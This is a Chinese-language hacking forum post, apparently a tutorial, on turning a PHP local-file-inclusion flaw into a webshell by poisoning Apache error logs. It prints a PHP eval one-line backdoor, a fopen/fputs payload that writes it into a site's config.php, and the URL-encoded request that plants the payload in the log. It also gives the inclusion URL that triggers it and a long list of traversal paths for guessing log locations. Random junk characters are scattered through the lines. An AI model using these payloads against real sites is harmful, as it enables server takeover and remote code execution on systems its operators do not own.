php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
0 ~+ _4 L  J9 M/ K; w% E
比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
- h7 A2 Y. M% @) O5 t4 }2 A+ t
& I* }- F' g) m到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
5 R4 H& I% `% R& G7 D" g
, V$ m% T$ W! {5 I- F7 R<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
9 ~/ S& J8 p& @% L
+ \( V  j/ J6 G3 V. V3 q7 T( }& }我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
0 d) d) r3 p/ w& Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
% Y! s# Y) P% f5 E  ]5 l' p3 \fclose%28%24fp%29%3B%3F%3E
我们提交
7 N* y6 S, H! L; Lhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
+ P2 y* |! q/ {; u; Jcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

8 K  ^. {( \" P( o7 B这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
- ?/ P( A, z9 ~. d2 a; Fhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
  f9 C- t) M. z! I; [
9 L8 u4 E5 ~5 U2 e这样webshell就写入成功了，config.php里就写入一句木马语句
9 P/ a* }& a) n% l; G$ ]OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。
( R4 |1 Z; W& |/ y# T
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
* N% P% R7 _! O7 H6 H../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
! B5 q  ]% P- C' n0 s! f../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
0 e* M& w/ }0 B4 A+ D../../../../../../../../../../etc/httpd/logs/error.log
: H! m; q7 O  N$ ]# x0 T. m) R../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
# t3 S: f" ?" \& f5 `../../../../../../../../../../usr/local/apache/logs/access_log
1 M% G0 F+ L- x( ^! D/ [( V$ y+ O) o../../../../../../../../../../usr/local/apache/logs/access.log
+ K. X9 u6 |5 s- q../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
% ^% ~( a; ]0 ?  F% ?. q7 N- s../../../../../../../../../../var/log/access_log
  s- a& v+ O; u* o: m6 X../../../../../../../../../../var/www/logs/error_log
, t: l/ ~8 D) c+ u$ [../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
1 B& D6 c0 X. w7 k6 y7 N9 ^% P../../../../../../../../../../var/log/access_log
8 R/ A. |% X& U/ @3 }0 N../../../../../../../../../../var/log/error_log
( d/ J) E3 q* M/ `. `; a/var/log/httpd/access_log      
- s+ {! [1 @+ ^8 q: N+ z/var/log/httpd/error_log     
) E6 {" ~$ c8 m6 _3 K1 v" I../apache/logs/error.log     
- d& p; \# v7 `../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
3 r% h1 e! [; T) |../../../apache/logs/error.log
, r3 u7 s9 M  r0 ^  s../../../apache/logs/access.log
/etc/httpd/logs/acces_log
5 i( E8 \2 s* ]1 @! i/ p" J$ O/etc/httpd/logs/acces.log
/ j- A; w2 n4 [3 A- @0 |+ s: r/etc/httpd/logs/error_log
/ p" x7 A/ I: _. b( P1 K8 y/etc/httpd/logs/error.log
/ ~9 J+ x6 S6 A9 g- U0 A/var/www/logs/access_log
3 e0 Q+ l8 M: I  Z/var/www/logs/access.log
6 Y! ?# _1 h3 j  _0 v4 k/usr/local/apache/logs/access_log
/ i% s' ~' V: ^5 ]) [/usr/local/apache/logs/access.log
$ _5 G& ~8 t1 \6 K, h/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
5 j) }1 \1 E; a- h$ E/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
, `5 }( t8 p" j3 v' Y8 |' Q/usr/local/apache/logs/error.log
- Y9 h. M6 K, x$ Z. y! K( ^/var/log/apache/error_log
, x, F( O8 A6 F' @, W/var/log/apache/error.log
  K! g( v5 v; ^+ W# a: G) G/var/log/access_log
/var/log/error_log